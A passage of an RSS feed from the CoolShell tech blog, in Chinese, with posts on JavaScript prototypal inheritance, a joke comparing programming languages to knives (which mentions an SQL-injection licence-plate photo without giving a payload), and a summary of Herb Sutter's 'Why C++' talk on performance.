/>\nPseudoclassical继承会让学过C++/Java的同学略微的感受到一点舒服，特别是new关键字，看到都特亲切，不过两者虽然相似，但是机理完全不同。当然不关什么样继承都是不能离不开__proto__成员的。</p>\n<h4><strong><span style=\"color: #008000\">Prototypal继承</span></strong></h4>\n<p>这是Javascript的另外一种继承方式，这个继承也就是之前陈皓文章《Javascript 面向对象编程》中create函数，非常可惜的是这个是ECMAScript V5的标准，支持V5的浏览器目前看来也就是IE9，Chrome最新版本和Firefox。虽然看着多，但是做为IE6的重灾区的中国，我建议各位还是避免使用create函数。好在没有create函数之前，Javascript的使用者已经设计出了等同于这个函数的。例如：我们看看Douglas Crockford的object函数。</p>\n<p>[javascript]<br />\nfunction object(old) {<br />\n   function F() {};<br />\n   F.prototype = old;<br />\n   return new F();<br />\n}<br />\nvar newObj = object(oldObject);<br />\n[/javascript]</p>\n<p>例如如下代码段</p>\n<p>[javascript]<br />\nvar base ={<br />\n  id:&quot;base&quot;,<br />\n  toString:function(){<br />\n          return this.id;<br />\n  }<br />\n};<br />\nvar derive = object(base);<br />\n[/javascript]</p>\n<p>上面函数的执行后的对象模型是：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6688\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_5.png\" alt=\"\" width=\"451\" height=\"230\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_5.png 451w, https://coolshell.cn/wp-content/uploads/2012/02/joo_5-300x152.png 300w\" sizes=\"(max-width: 451px) 100vw, 451px\" /><br />\n如何形成这样的对象模型，原理也很简单，只要把object这个函数扩展一下，就能画出这个模型，怎么画留给读者自己去画吧。<br />\n这样的继承方式被称为原型继承。相对来说要比Pseudoclassical继承来的简单方便。ECMAScript V5正是因为这原因也才增加create函数，让开发者可以快速的实现原型继承。<br />\n上述两种继承方式是Javascript中最常用的继承方式。通过本文的讲解，你应该对Javascript的OO编程有了一些‘原理’级的了解了吧</p>\n<h4><strong><span style=\"color: #008000\">参考:</span></strong></h4>\n<p><a href=\"http://msdn.microsoft.com/en-us/scriptjunkie/ff852808\">《Prototypes and Inheritance in JavaScript Prototypes and Inheritance in JavaScript》</a><br />\n<a href=\"http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/\" target=\"_blank\">Advance Javascript</a> （Douglas Crockford 大神的视频，一定要看啊）</p>\n<h4><strong><span style=\"color: #008000\">题外话：</span></strong></h4>\n<p>web2.0后，web应用可谓飞速发展，如今在HTML5发布之际，浏览器的功能被大大强化，我感觉Browser远远在不是一个Browser那么简单了。记得C++之父曾经这样说过JAVA，JAVA不是跨平台，JAVA本身就是一个平台。如今的Browser也本身就是一个平台了，好在这个平台是基于标准的。如果Browser是平台，由于Browser安全沙箱的限制，个人电脑的资源被使用的很少，感觉Browser就是一个NC（Network Computer）？我们居然又回到了Sun最初提出的构想，Sun是不是太强大了些？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6731.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/closure-150x150.png\" alt=\"理解Javascript的闭包\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6731.html\" class=\"wp_rp_title\">理解Javascript的闭包</a></li><li ><a href=\"https://coolshell.cn/articles/6441.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Javascript 面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6441.html\" class=\"wp_rp_title\">Javascript 面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6668.html\">再谈javascript面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6668.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>77</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>千万别惹程序员</title>\n\t\t<link>https://coolshell.cn/articles/6639.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6639.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Feb 2012 23:54:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Hack]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6639</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>酷壳好久没有发娱乐性质的技术文章了，搞得气氛有点严肃了，考虑到程序员们都是比较严肃和容易较真的类书呆子的群体，所以，需要更新一个有娱乐性质的文章了。正好最近看到...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6639.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>酷壳好久没有发娱乐性质的技术文章了，搞得气氛有点严肃了，考虑到程序员们都是比较严肃和容易较真的类书呆子的群体，所以，需要更新一个有娱乐性质的文章了。正好最近看到了两个比较有趣的图，在新浪微博上都得到了比较不错的反响，因此，更新到酷壳上来。</p>\n<h4>如果编程语言是一种刀</h4>\n<p>下面这个图是把编程语言看做是一种刀，那么会是什么样的。这个图我个人感觉很有意思。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6642\" title=\"programming language\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language.jpg\" alt=\"\" width=\"400\" height=\"450\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language.jpg 400w, https://coolshell.cn/wp-content/uploads/2012/02/programming-language-267x300.jpg 267w, https://coolshell.cn/wp-content/uploads/2012/02/programming-language-240x270.jpg 240w\" sizes=\"(max-width: 400px) 100vw, 400px\" /></p>\n<p>对于这个图，最好不要解释，意会就好。不过，我却有点想不解风情，忍不住想解释一下。</p>\n<p><span id=\"more-6639\"></span></p>\n<ul>\n<li>C++，C，Pascal 都是瑞士军刀，说明是用来做细活的工具。C语言的刀上有个USB，说明是可以做硬件操作的。C++的刀是什么都有，说明C++是一种功能繁多的语言。（图中C++的那把瑞士军刀很强大，不要以为其是虚构的，这把刀是真实存在的，叫Wenger巨人刀，<a href=\"http://www.wenger.ch/giant-knife-wenger-swiss-army-knife\" target=\"_blank\">http://www.wenger.ch/giant-knife-wenger-swiss-army-knife</a> (这个网页上有个Youtube视频，可以爬墙去看)，<a href=\"http://s.taobao.com/search?q=giant-knife-wenger-swiss-army-knife&amp;keyword=&amp;commend=all&amp;ssid=s5-e&amp;search_type=item&amp;atype=&amp;tracelog=&amp;sourceId=tb.index&amp;initiative_id=tbindexz_20120220\" target=\"_blank\">淘宝上有卖的</a>，价格在1万4左右。）</li>\n<li>Java/C#是一把塑料餐刀，这说明，Java和C#语言是带虚拟机的，而且其语法和使用并不像C++那么复杂，其泛型编程可以有很多种玩法，而Java和C#的泛型编程是比较单一的。</li>\n<li>Python是把电锯，人挡杀人，佛招杀佛，威力很大，面对大型的物体的修整，比C++/C/Java什么的得心应手得多得多，但是对于一些精细的调优工作，明显不行。这和Ruby很像。</li>\n<li>PHP没有MySQL，明显是被幽默了一把。不过最近对PHP的批评越来越多，不过，facebook的PHP的引擎HiPo已经很牛B了。</li>\n<li>Perl是一本日本武士刀，是忍者玩的语言。</li>\n<li>VB，就是一个玩具。你见过用塑料玩具勺当刀的吗？Haskell感觉是外星来的。呵呵</li>\n</ul>\n<h4>千万别惹程序员</h4>\n<p>下图一张昨天我公司内部被传递的图片。经典的SQL注入式攻击。千万别惹程序员</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"SQL-injection-attack(adjusted)\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg\" alt=\"\" width=\"600\" height=\"407\" /></p>\n<p>这是一个有技术含量的号牌遮挡。我们先不说其是不是能奏效，不过，这个创意相当的NB啊。当你驾车通过某些路口时，被摄像头捕捉到你的车牌，通过OCR变成文本，然后插入数据库，于是，上图的这个车牌就成了SQL注入。（不要以为车牌的OCR技术还不行，这项目技术已经非常成熟了，无论是国内还是国外）。这张图片就如同“<a title=\"Web开发中需要了解的东西\" href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\">Web开发中应该知道的事</a>”中说的一样——永远不要相信用户的输入。</p>\n<p><strong>插曲</strong>：我昨天把这张图片<a href=\"http://weibo.com/1401880315/y6kIAj1oN\" target=\"_blank\">放到微博</a>，结果，<strong>被转了几万次，上了热门转发的top list和一些社会热点和明星八卦排在了一起</strong>。主要是被“<em>@微博搞笑排行榜:  @全球潮流趣闻:  @实用小百科: @经典英文语录:  @当时我就泪奔了: @老榕: @全球经典音乐: @环球汽车搜罗: @怪诞心理行为学: @精彩电影: @互联网的那点事: @潮混搭:  @热门微博: @SinaAppEngine:</em> ” 还有些什么体育记者，法律记者都转了， 这些转发了。这多少让我觉得有些诧异，这是很技术的一件事啊，怎么连什么电影，英文对白，汽车，音乐什么的都转了？我是相当的费解啊，我只能有两个认为——</p>\n<ol>\n<li>简单的认为关心技术的人还是很多的。</li>\n<li>复杂地认为国人是喜欢起哄的，不问为什么。</li>\n</ol>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6639.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>95</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Why C++ ? 王者归来</title>\n\t\t<link>https://coolshell.cn/articles/6548.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6548.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 02 Feb 2012 00:22:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6548</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>因为又有人邀请我去Quora的C2C网站去回答问题去了，这回是 关于 @laiyonghao 的这篇有点争议的博文《2012 不宜进入的三个技术点》Action...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6548.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6548.html\">Why C++ ? 王者归来</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>因为又有人邀请我去Quora的C2C网站去回答问题去了，这回是 关于 <a href=\"http://weibo.com/n/laiyonghao\">@laiyonghao</a> 的这篇有点争议的博文《2012 不宜进入的三个技术点》ActionScript，Thread 和 C++，<a href=\"http://blog.csdn.net/lanphaday/article/details/7223385\" target=\"_blank\"> C++争议的争议最大</a>。（要我说，.NET比C++更需要慎重进入，呵）。我就在这里回复一下这个问题吧。</p>\n<p>正好我一个月前看到一个视频，这个演讲视频还比较著名，这个演讲者是<em>Exceptional C++ </em>和 <em>C++ Coding Standards</em> 的作者，还是ISO C++ 委员会的Chair，C++/CLI首席架构师，还是Microsoft的软件架构师，他叫<a href=\"http://herbsutter.com/\" target=\"_blank\">Herb Sutter</a>，他的这个演讲视频是 <a href=\"http://cppandbeyond.com/\" target=\"_blank\">C++ and Beyond 2011</a>上的一次公开演讲，题目是——<a href=\"http://channel9.msdn.com/posts/C-and-Beyond-2011-Herb-Sutter-Why-C\" target=\"_blank\">Why C++</a>? （如果你觉得那里的视频比较慢，你可以看<a href=\"http://v.youku.com/v_show/id_XMzA5OTIwODIw.html\" target=\"_blank\">优酷上的视频</a>）（英文听力好的同学可以看一样，因为都没有中文字幕）</p>\n<p>我觉得这篇文章就足够可以说明很多问题了，所以，我把Herb的演讲幻灯片截了几页放到这里，并做上一些注释，算是一个演讲内容摘要吧。</p>\n<p>1） 为什么C++？因为 Performance per $，也就是说performance 就是钱，这个分成三个方面，</p>\n<ul>\n<li>耗电，芯片的耗电量，移动设备的耗电量，家用电脑的耗电量都和钱有关系。</li>\n<li>资源，家用电脑和移动设备上的处理器资源有限，因为要让一般消费者买的起。</li>\n<li>体验，在更小的设备上会有更好的体验，有更好的体验就可以挣更多的钱。</li>\n</ul>\n<p>移动设备上的耗电量相信用过智能手机的人都知道吧，Android手机的耗电量实在是太大了。就算是iPhone在开启Wifi和3G的情况下耗电量也很快。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6550\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.01.jpg\" alt=\"\" width=\"566\" height=\"319\" /></p>\n<p><span id=\"more-6548\"></span></p>\n<p>2）C++的进化分成三个时代：</p>\n<ul>\n<li>1979 &#8211; 1989：研究C的对象能力。主要是为C++做准备</li>\n<li>1989 &#8211; 1999：C++成了主流。</li>\n<li>1999 &#8211; 2009：Coffee-based语言（Java, .NET）出现了，极大的提高了开发生产力。</li>\n</ul>\n<p style=\"padding-left: 30px;\">对于第三个时代，Herb说了很多，他说这个并没有什么错，因为这个时候我们非常关注开发的生产力，这个非常重要，这就是为什么C++一下就失去优势的地方。但是是否这些Coffee-Based的语言可以做任重要的事呢？不行，很多时候，这是一个Trade-Off的事，也就是生产力不是免费的是需要你用别的东西去交换的。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6551\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.02.jpg\" alt=\"\" width=\"567\" height=\"319\" /></p>\n<p>3）第四个时期。</p>\n<p style=\"padding-left: 30px;\">Herb认为，2009-2019是第四个时期，因为我们又喜欢Native Code了，C++从被驱逐后又被请回来了。因为网站的性能越来越是个问题，移动端的设备非常流行。但主要是因为Performance就是钱，因为前面的三个因素，性能影响的是dollar，不尊重性能的公司都会发现花钱的速度太快了。（比如去年大家热炒的京东促销和12306.cn的问题，12306给整个社会造成了巨大的金钱浪费）</p>\n<p style=\"padding-left: 30px;\">Herb把这个时期比做 The Return of the King。（指环王的第三部：王者归来）<strong> 性能为王！</strong></p>\n<p style=\"padding-left: 30px;\">这就好像我在“<a title=\"软件开发的“三重门”\" href=\"https://coolshell.cn/articles/6526.html\" target=\"_blank\">软件开发的三重门</a>”里说的，开垦时代需要的是快和生产力，而开垦完后就得保证其稳定性。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6552\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.03.jpg\" alt=\"\" width=\"567\" height=\"318\" /></p>\n<p>4）Herb还给了一张幻灯片问，“The World is built on &#8230;.”，后面例出了多个语言。然后Herb说，世界是由C和C++构成的。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-6562\" title=\"WhyCPP.03.01\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.03.01.jpg\" alt=\"\" width=\"397\" height=\"224\" /></p>\n<p>5）Herb给了一张表格，这张表可相当形像。如果把我们的对编程语言的需求总结为四个：<strong>效率，灵活，抽象，生产率</strong>。那么，C语言玩的是前两个，而C++玩的是前三个，Java和C#玩的是后两个（抽象和生产率）</p>\n<p>任保一种设计都不可能让你什么都要的，这就是Trade-Off——什么事都需要交换的。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6553\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.04.jpg\" alt=\"\" width=\"567\" height=\"318\" /></p>\n<p>6）Herb举了一个微软内的例子，用C++ 和 ATL 来开发IE工具条的报告，意思是你可以用脚本在IE的工具条上加按钮，但是作者建议使用C++，因为用.NET或是脚本有重大的limitation，尤其是性能上的问题。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-6554\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.05.jpg\" alt=\"\" width=\"600\" height=\"339\" /></p>\n<p style=\"text-align: left;\">7）接下来，我们来看看移动设备。</p>\n<p style=\"text-align: left; padding-left: 30px;\">下图中，第一个是iOS，第二个是Android，第三个是WinPhone。Herd说了几个事：</p>\n<p style=\"text-align: left; padding-left: 30px;\">a）比Web APP，人们更喜欢Native的APP，这个在用移动设备上可以得到验证。</p>\n<p style=\"text-align: left; padding-left: 30px;\">b）iOS也好，Android也好，WinPhone也好，他们不是在搞操作系统，而是在搞应用，为的是让智能手机更好。手机就是一个App。</p>\n<p style=\"text-align: left; padding-left: 30px;\">c）这三个手机在第一版出来时都不支持C++，而第二版出来时都支持C++了。因为他们要兼顾性能和一定程度上的开发效率。WinPhone还没有到第二版，让我们拭目以待。（我以前写过一篇<a title=\"Android将允许纯C/C++开发应用\" href=\"https://coolshell.cn/articles/3549.html\" target=\"_blank\">调侃Android支持C++开发</a>的文章，这也只是一年前的事，说明C++全面回归了）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6555\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.06.jpg\" alt=\"\" width=\"567\" height=\"319\" /></p>\n<p>8）如果你还是不相信的话，我们可以看看为什么Apple和Google都在搞C++的编译器，因为他们觉得g++性能不行。所以，基于LLVM的编译器正在领导潮流，因为我们关注Natvie Code的性能优化。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6556\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.07.jpg\" alt=\"\" width=\"539\" height=\"615\" /></p>\n<p>9）接下来，Herb说了一下数据中心，你知道数据中心最花钱的是什么吗？三个事：</p>\n<blockquote>\n<ul>\n<li>57% 花在了硬件上。</li>\n<li>18% 花在了配电和降温上。</li>\n<li>13% 花在了耗电上。</li>\n</ul>\n</blockquote>\n<p style=\"padding-left: 30px;\">88%的钱花在了硬件和电力上。这可是很大一笔费用啊。（还有人说硬件比软件便宜吗？）我记得我上一个公司的数据中心每年要花的电费就在百万美元以上。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6557\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.08.jpg\" alt=\"\" width=\"566\" height=\"319\" /></p>\n<p>10）昨天在<a href=\"http://weibo.com/1401880315/y3kshD9jf\" target=\"_blank\">微博上有个笑话</a>，说是某咨询师要求程序员把代码打印出来走查，程序员问是不是要用彩打？哈哈。我说，这至少不环保嘛。消耗太大了。是的，C++是可以省电的，以及于C++之父都在YouTube 说C++是可以减轻全球变暖的问题。哇，C++开始真正造福人类了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6558\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.09.jpg\" alt=\"\" width=\"516\" height=\"397\" /></p>\n<p>11）我还需要重温一下老大的这句话——</p>\n<blockquote><p><strong>My contribution to the fight against global warming is C++’s efficiency</strong>: Just think if Google had to have twice as many server farms! Each uses as much energy as a small town. And it’s not just a factor of two…<strong> Efficiency is not just running fast or running bigger programs, it’s also running using less resources</strong>.</p>\n<p style=\"text-align: right;\">Bjarne Stroustrup, June 2011</p>\n</blockquote>\n<p style=\"text-align: left; padding-left: 30px;\">最后一句说的非常好！<strong>效率不仅仅只是跑得，跑得多，更是可以使用更少的资源</strong>。</p>\n<p style=\"text-align: left;\">12）下面让我们再来看一张表，一张把钱投到哪里的表格，这样我们可以看到一些趋势。</p>\n<ul>\n<li>70年代80年代，资源不够，主要是把钱投在性能上。</li>\n<li>80年代到90代，主要是90年代开始有一半的投次到了抽象和生产率上。</li>\n<li>00年代，完全都在抽象和生产率上。</li>\n<li>10年代，80%的钱都要回头来解决性能问题。这就是C/C++的王者归来。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6559\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.10.jpg\" alt=\"\" width=\"567\" height=\"319\" /></p>\n<p>13）当然，不是C++不注重 开发效率，看看C++0X的标准引入了多少东西我们就知道了。但是本质上，<strong>C++还是致力于性能和抽象的完全平衡</strong>。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6560\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.11.jpg\" alt=\"\" width=\"567\" height=\"319\" /></p>\n<p>那么，我们还会觉得C++要被淘汰了，不适合进入了吗？看完这个演讲，你应该有答案的。</p>\n<p>后面讲了C++的文艺复兴，你可以在Google 搜索 “<a href=\"https://www.google.com/search?q=C%2B%2B+Renaissance\" target=\"_blank\">C++ Renaissance</a>”看看。另外，<strong>该视频的讲议可以在<a href=\"http://ecn.channel9.msdn.com/content/WhyCPPCB2011.pdf\" target=\"_blank\">这里下载</a></strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" alt=\"无锁队列的实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_title\">无锁队列的实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a 